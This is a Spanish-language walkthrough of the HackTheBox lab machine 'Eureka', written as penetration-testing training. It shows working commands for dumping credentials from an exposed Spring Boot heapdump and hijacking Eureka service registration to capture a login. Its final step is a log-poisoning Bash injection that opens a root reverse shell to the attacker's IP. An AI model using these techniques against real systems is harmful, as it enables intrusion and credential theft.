Eureka – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Hard / Difícil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Eureka” es una máquina Difícil de la plataforma HackTheBox
. La máquina víctima está corriendo un sitio web sobre Spring Boot
. Este servicio tiene el endpoint actuator
expuesto, del cual somos capaces de extraer un archivo heeapdump
el cual contiene credenciales para un usuario (válidas para SSH
) y otras credenciaels para otro servicio web corriendo en otro puerto, el cual resulta ser Netflix Eureka
. Somos capaces de agregar a nuestra máquina de atacantes dentro de los servidores que cargan los servicios en Eureka
. Esto significa que las solicitudes realizadas a la máquina víctima son “delegadas” a nuestra máquina de atacantes; de donde podemos ver la contraseña de un segundo usuario. Una vez dentro de la máquina víctima, ésta se encuentra corriendo un script de Bash
vulnerable a Command Injection
. Como el segundo usuario obtenido, somos capaces de envenenar un archivo de log e inyectar un comando como root
; comprometiendo así el sistema.
User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap
buscando por puertos TCP
abiertos. Sólo encontramos 3 puertos abiertos: 22
SSH
, 80
y 8761
HTTP
:
❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.66
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:06 -04
Happy 28th Birthday to Nmap, may it live to be 128!
Initiating SYN Stealth Scan at 01:06
Scanning 10.10.11.66 [65535 ports]
Discovered open port 22/tcp on 10.10.11.66
Discovered open port 80/tcp on 10.10.11.66
Discovered open port 8761/tcp on 10.10.11.66
Completed SYN Stealth Scan at 01:07, 16.57s elapsed (65535 total ports)
Nmap scan report for 10.10.11.66
Host is up, received user-set (0.22s latency).
Scanned at 2025-09-01 01:06:56 -04 for 17s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
8761/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds
Raw packets sent: 80816 (3.556MB) | Rcvd: 79875 (3.195MB)
Aplicando algunos script de reconocimiento con Nmap
usando la flag -sVC
sobre los puertos abeirtos hallados obtenemos ahora:
❯ sudo nmap -sVC -p22,80,8761 10.10.11.66
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:08 -04
Nmap scan report for 10.10.11.66
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open http Apache Tomcat (language: en)
| http-auth:
| HTTP/1.1 401 \x0D
|_ Basic realm=Realm
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds
Del escaneo del puerto 80
HTTP
podemos ver que redirige al sitio http://furni.htb
.
Por tanto, agregamos el dominio furni.htb
junto con la IP de la máquina víctima a nuestro archivo /etc/hosts
:
❯ echo '10.10.11.66 furni.htb' | sudo tee -a /etc/hosts
Una vez hecho, usamos WhatWeb
para revisar tecnologías siendo usadas por el servidor; hacemos esto para el puerto 80
y 8761
:
❯ whatweb -a 3 http://furni.htb
http://furni.htb [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.66], Meta-Author[Untree.co], Script, Title[Furni | Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0]
❯ whatweb -a 3 http://furni.htb:8761
http://furni.htb:8761 [401 Unauthorized] Cookies[JSESSIONID], Country[RESERVED][ZZ], HttpOnly[JSESSIONID], IP[10.10.11.66], Java, UncommonHeaders[x-content-type-options], WWW-Authenticate[Realm][Basic], X-Frame-Options[DENY], X-XSS-Protection[0]
El sitio en el puerto 80
está corriendo sobre Nginx
, mientras que el puerto 8761
está aparentemente usando Java
para correr el servidor web.
Visitando http://furni.htb
en un navegador web muestra un sitio web acerca de muebles:
Si visitamos el sitio web en el puerto 8761
éste solamente muestra un panel de login de HTTP
:
Pero credenciales sencillas no funcionan.
Para ver sobre qué software está corriendo este servidor web podemos buscar por una página inexistente y ver su respuesta. Por ejemplo, si buscamos por la ruta http://furni.htb/loquesea
obtenemos la respuesta:
Revisando entonces el blog de 0xdf para páginas de código 404 encontramos que aquella página corresponde a Spring Boot
:
Java
web framework for creating Spring
based web applications. Spring
is a lightweight framework that offers an elaborate environment for robust programming and configuration model for Java
-based applications. Spring Boot
is a Java
-based framework that is best for creating stand-alone, Spring
-based applications in a short period.Podemos buscar por directorios a través de un simple Brute Force Directory Listing
con Gobuster
. Primero que todo, buscamos si es que hay algún diccionario/wordlist especialmente dedicado a Spring Boot
en SecLists
:
❯ find /usr/share/seclists -name "*Spring*" 2>/dev/null
/usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
Hay uno.
Usamos aquel diccionario para buscar por directorios junto con Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -u http://furni.htb -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://furni.htb
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/actuator (Status: 200) [Size: 2129]
/actuator/caches (Status: 200) [Size: 20]
/actuator/features (Status: 200) [Size: 467]
/actuator/env/lang (Status: 200) [Size: 668]
/actuator/env/home (Status: 200) [Size: 668]
/actuator/info (Status: 200) [Size: 2]
/actuator/env/path (Status: 200) [Size: 668]
/actuator/refresh (Status: 405) [Size: 114]
/actuator/health (Status: 200) [Size: 15]
/actuator/env (Status: 200) [Size: 6307]
/actuator/metrics (Status: 200) [Size: 3319]
/actuator/sessions (Status: 400) [Size: 108]
/actuator/scheduledtasks (Status: 200) [Size: 54]
/actuator/configprops (Status: 200) [Size: 37195]
/actuator/mappings (Status: 200) [Size: 35560]
/actuator/loggers (Status: 200) [Size: 98345]
/actuator/conditions (Status: 200) [Size: 184221]
/actuator/beans (Status: 200) [Size: 202253]
/actuator/threaddump (Status: 200) [Size: 232775]
Progress: 120 / 121 (99.17%)[ERROR] context deadline exceeded (Client.Timeout or context cancellation while reading body)
Progress: 120 / 121 (99.17%)
===============================================================
Finished
===============================================================
Parece ser que el directorio /actuator
está expuesto.
Basados en este blog, el directorio Actuator
es un endpoint utilizado principalmente para debuggear; por lo que el hecho de que éste esté expuesto puede ser una pista.
Este otro blog muestra por qué que el directorio /actuator
esté expuesto en Spring Boot
podría ser peligroso. Se menciona una ruta /actuator/heapdump
-como se puede ver aquí-. Utilizando el comando sugreido con cURL
para extraer este archivo toma tiempo; por lo que parece que el archivo sí existe:
❯ curl 'http://furni.htb/actuator/heapdump' -O
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 76.4M 100 76.4M 0 0 1964k 0 0:00:39 0:00:39 --:--:-- 2986k
Éste toma su tiempo en descargarse ya que pesa casi 76.4M
.
¿Por qué el escaneo con Gobuster
no mostró esta ruta? Como este archivo es tan grande, la respuesta toma más de 10 segundos (el valor por defecto para Gobuster
). Al no haber respuesta se toma como que la ruta no existe y por eso no es reportado.
Tal cual sugiere el blog, podríamos tratar encontrar credenciales en este archivo heapdump
. Para este propósito podemos utilizar strings
junto con grep
, buscando por la palabra password=
:
❯ strings heapdump | grep -i 'password='
proxyPassword='
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
update users set email=?,first_name=?,last_name=?,password=? where id=?!
Tenemos lo que parece ser una contraseña 0sc@r190_S0l!dP@sswd
y un usuario oscar190
.
De manera alternativa, podemos utilizar la herramienta JDumpSpider
(la cual puede ser descargada desde su repositorio de Github) para buscar por credenciales. Primero la descargamos:
❯ wget https://github.com/whwlsfb/JDumpSpider/releases/download/dev-20250409T071858/JDumpSpider-1.1-SNAPSHOT-full.jar -q
Y utilizamos esta herramienta pasando como argumento el archivo heapdump
:
❯ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
===========================================
<SNIP>
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
===========================================
<SNIP>
Este herramienta no solo encuentra credenciales para el usuario oscar190
, también lo hace para el sitio corriendo en el puerto 8761
tal cual puede ser visto en:
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
tenemos un nuevo par de credenciales: EurekaSrvr:0scarPWDisTheB3st
.
Utilizando estas credenciales en http://furni.htb:8761
funciona. Estamos dentro:
También revisamos si las credenciaels para el usuario oscar190
son válidas para el servicio SSH
con NetExec
:
❯ nxc ssh 10.10.11.66 -u 'oscar190' -p '0sc@r190_S0l!dP@sswd'
SSH 10.10.11.66 22 10.10.11.66 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.66 22 10.10.11.66 [+] oscar190:0sc@r190_S0l!dP@sswd Linux - Shell access!
Son válidas.
Accedemos a la máquina víctima usando estas credenciales:
❯ sshpass -p '0sc@r190_S0l!dP@sswd' ssh -o stricthostkeychecking=no oscar190@10.10.11.66
<SNIP>
Last login: Mon Sep 1 06:18:22 2025 from 10.10.16.10
oscar190@eureka:~$
La flag de usuario user.txt
no está, por lo que debemos pivotear a otro usuario.
Buscando por usuarios en la máquina víctima, existe otro llamado miranda-wise
:
oscar190@eureka:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
En el directorio /opt
hay algunos archivos. Más específicamente hay un archivo/script log_analyse-sh
el cual podemos leer:
oscar190@eureka:~$ ls -la /opt
total 24
drwxr-xr-x 4 root root 4096 Mar 20 14:17 .
drwxr-xr-x 19 root root 4096 Apr 22 12:47 ..
drwxrwx--- 2 root www-data 4096 Aug 7 2024 heapdump
-rwxrwxr-x 1 root root 4980 Mar 20 14:17 log_analyse.sh
drwxr-x--- 2 root root 4096 Apr 9 18:34 scripts
Si lo leemos, vemos que este es un gigantezco script de Bash
el cual analiza logs. Leyendo el script, una función que es vulnerable es:
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
Este script se encuentra revisando el código de estado en la línea HTTP Status: <status code>
.
Más específicamente, la línea interesante aquí es:
if ` "$existing_code" -eq "$code" `; then
Dado que podemos manipular la variable $code
, podríamos tratar de realizar un Command Injection
(inyección de comandos).
Este blog explica por qué usar -eq
puede ser una grave falla si es que somos capaces de manipular una de las variables siendo comparadas. Como ejemplo, se da un simple código de Bash
:
#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if ` "$NUM" -eq 100 `;then
echo "OK"
else
echo "NG"
fi
Donde el parámetro manipulable es NUM
. Por lo que para llegar a un Command Injection
(inyección de comandos) gracias -eq
se puede ejecutar por ejemplo:
$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG
Revisamos si existen cronjobs
(tareas) ejecutándose utilizando pspy
. Primero, descargamos su binario desde su repositorio de Github y lo pasamos a la máquina víctima utilizando scp
junto con las credenciales del usuario oscar190
:
❯ sshpass -p '0sc@r190_S0l!dP@sswd' scp pspy64 oscar190@10.10.11.66:/tmp/pspy
Asignamos permisos de ejecución al binario transferido, lo ejecutamos y esperamos un poco:
oscar190@eureka:~$ chmod +x /tmp/pspy
oscar190@eureka:~$ /tmp/pspy
<SNIP>
2025/09/01 06:38:49 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2025/09/01 06:39:01 CMD: UID=0 PID=133690 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0 PID=133691 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0 PID=133693 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133694 | curl -s -i http://localhost:8081/login
2025/09/01 06:39:01 CMD: UID=0 PID=133698 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133696 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133701 | grep -oP (?<=Set-Cookie: SESSION=)[^;]+
2025/09/01 06:39:01 CMD: UID=0 PID=133700 | ???
2025/09/01 06:39:01 CMD: UID=0 PID=133699 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133702 | mktemp
2025/09/01 06:39:01 CMD: UID=0 PID=133703 | cat
2025/09/01 06:39:01 CMD: UID=0 PID=133704 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133707 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133710 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133713 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133716 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133719 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133722 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133724 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0 PID=133723 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0 PID=133726 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0 PID=133725 |
2025/09/01 06:40:01 CMD: UID=0 PID=133727 | /bin/sh -c /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133728 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133731 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133730 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133729 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133734 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133733 | grep LoginSuccessLogger /var/www/web/cloud-gateway/log/application.log
2025/09/01 06:40:01 CMD: UID=0 PID=133732 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
<SNIP>
El script /opt/log_analyse.sh
está utilizando el archivo application.log
. También hay un script /opt/scripts/miranda-Login-Simulator.sh
siendo ejecutado (el cual, adelanto, no podemos leer).
Revisamos si tenemos permisos de lectura o escritura sobre el archivo .log
encontrado:
oscar190@eureka:~$ id
uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)
oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/application.log
-rw-rw-r-- 1 www-data www-data 21433 Sep 1 06:46 /var/www/web/cloud-gateway/log/application.log
No los tenemos. Sólo el usuario www-data
tiene permisos sobre este archivo.
Si revisamos los permisos del directorio /var/www/web/cloud-gateway/log/
(el directorio que contiene al archivo application.log
) tenemos:
oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/
total 48
drwxrwxr-x 2 www-data developers 4096 Sep 1 05:05 .
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 ..
-rw-rw-r-- 1 www-data www-data 22339 Sep 1 06:47 application.log
-rw-rw-r-- 1 www-data www-data 5702 Apr 23 07:37 application.log.2025-04-22.0.gz
-rw-rw-r-- 1 www-data www-data 5956 Sep 1 05:05 application.log.2025-04-23.0.gz
Podemos ver que el grupo developers
también puede escribir en este grupo (es uno de los dueños de este directorio).
Pero sólo el usuario miranda-wise
es miembro del grupo developers
:
oscar190@eureka:~$ getent group developers
developers:x:1003:miranda-wise
Por lo que debemos de hallar una manera de pivotear aquel usuario.
Ahora es cuando el servicio Eureka
entra en juego. Si buscamos por netflix eureka
(ya que Netflix
provee la idea de este servicio open source) tenemos:
Netflix Eureka
is a service registry and discovery tool designed for cloud-based microservice architectures, allowing individual services to register themselves and dynamically discover other services without manual configuration. It consists of a Eureka Server
, which acts as a central registry, and Eureka Clients
, which are the microservices that register and query the server to find other services. Eureka is particularly useful in dynamic environments where service instances may change locations or scale up and down, facilitating dynamic load balancing and communication between services.Esta página hace la relación entre Eureka
y Spring Boot
. Básicamente, podemos agregar nuestra IP de atacantes al balanceador dinámico del servicio. Para “alivianar” cargas, uno podría establecer un mismo servicio y que distintas ejecuciones de éste se distribuyan en distintos servicios. Eso es lo que es Eureka
a manera muy resumida. Por lo que si algún usuario hace alguna petición a un servicio del cual nosotros también seamos “carga”, existe la posibilidad de que la tarea sea asignada a nuestra máquina de atacantes y poder ver información (como credenciales). Este otro blog explica cómo atacar el servicio de Eureka
agregando una instancia maliciosa. Volviendo a la página web corriendo en el puerto 8761
podemos ver 3 instancias (instances) en Eureka
:
Tenemos una instancia app-geteway
en el puerto 8080
, una app llamada Furni
(probablemente sea el sitio web) en el puerto 8082
y una instancia llamada User-Management-Service
por el puerto 8081
. Ésta última tiene un nombre bastante llamativo ya que hace mención a que está relacionada a la administración de usuarios.
Siguiendo el blog, y también basados en la REST API para Eureka
, podemos agregar un payload (instancia maliciosa) con cURL
:
❯ curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "gunzf0x",
"hostName": "10.10.16.10",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.16.10",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": {
"$": 8081,
"@enabled": "true"
},
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
Donde 10.10.16.10
es nuestra IP de atacantes, nombrando la instancia maliciosa como gunzf0x
.
Si volvemos a ver la página de Eureka
(recargamos la página), nuestra instancia es agregada:
Ya que hemos definido el puerto 8081
como instancia para USER-MANAGEMENT-SERVICE
, empezamos un listenerr con netcat
en aquel puerto (o también podríamos levantar un servidor HTTP
con Python
temporal). Luego de un tiempo obtenemos una petición HTTP
:
❯ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 60372
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=OWMwNWNjYjMtZDY3Ni00ZTMyLWE2MjQtZjRmN2I2NmQ4NGMx
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:55214"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.16.10:8081
username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=tVeYamwuq0Ip_wtToyfLpdJLSrx1CAW7fOVu_91KEt7y62plgWP5DF5KmScEmm9hwgr_xOB8Z90Ubj2WSYFXmrlyK-3C2FlS
ISi url-decodeamos el valor de password
tenemos así: IL!veT0Be&BeT0L0ve
.
Revisamos si esta contraseña funciona para el usuario miranda-wise
con NetExec
para el servicio SSH
:
❯ nxc ssh 10.10.11.66 -u 'miranda-wise' -p 'IL!veT0Be&BeT0L0ve'
SSH 10.10.11.66 22 10.10.11.66 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.66 22 10.10.11.66 [+] miranda-wise:IL!veT0Be&BeT0L0ve Linux - Shell access!
Funcionó.
Logueamos así en la máquina víctima como el usuario miranda-wise
a través de SSH
:
❯ sshpass -p 'IL!veT0Be&BeT0L0ve' ssh -o stricthostkeychecking=no miranda-wise@10.10.11.66
<SNIP>
Last login: Mon Sep 1 07:29:16 2025 from 10.10.16.10
miranda-wise@eureka:~$
Podemos extraer la flag de usuario.
Root Link to heading
Ahora que somos el usuario miranda-wise
, somos parte del grupo developers
:
miranda-wise@eureka:~$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
Recordar que el grupo developers
podría escribir archivos en el directorio /var/www/web/cloud-gateway/log/
, donde está alojado el archivo application.log
que se pasaba al script /opt/log_analyser
.
Por lo que podemos intentar un Command Injection
en log_analyser.sh
. Tal cual mostró pspy
, el usuario PID=0
está ejecutando aquella tarea; es decir, root
. Como ya habíamos visto, no tenemos permisos directors sobre el archivo application.log
. Pero sí tenemos permisos sobre el directorio el cual contiene aquel archivo ya que somos miembros del grupo developers
. Esto quiere decir que no podemos modificar directamente el archivo, pero sí que podemos removerlo o renombrarlo:
Recordando, la función vulnerable era:
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
Necesitamos escribir el payload a la derecha del string Status:
. Pero, como se puede ver también con grep
, éste está esperando la palabra HTTP Status
. Ergo, el payload puede tener la forma:
HTTP Status: <payload>
Trataremos de enviarnos una reverse shell, y para ello primero debemos empezar un listener con netcat
por el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
Primero podemos renombrar el archivo application.log
, para luego escribir un nuevo archivo application.log
el cual nos enviará una reverse shell al ser ejecutado por la inyección de comando:
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ mv application.log application_copy.log
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo 'HTTP Status: x[$(/bin/bash -i >& /dev/tcp/10.10.16.10/443 0>&1)]' > application.log
Luego de algunos segundos obtenemos una shell como el usuario root
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 40226
bash: cannot set terminal process group (222139): Inappropriate ioctl for device
bash: no job control in this shell
root@eureka:~# whoami
whoami
root
GG. Podemos extraer la flag del usuario root
en el directorio /root
.
~Happy Hacking.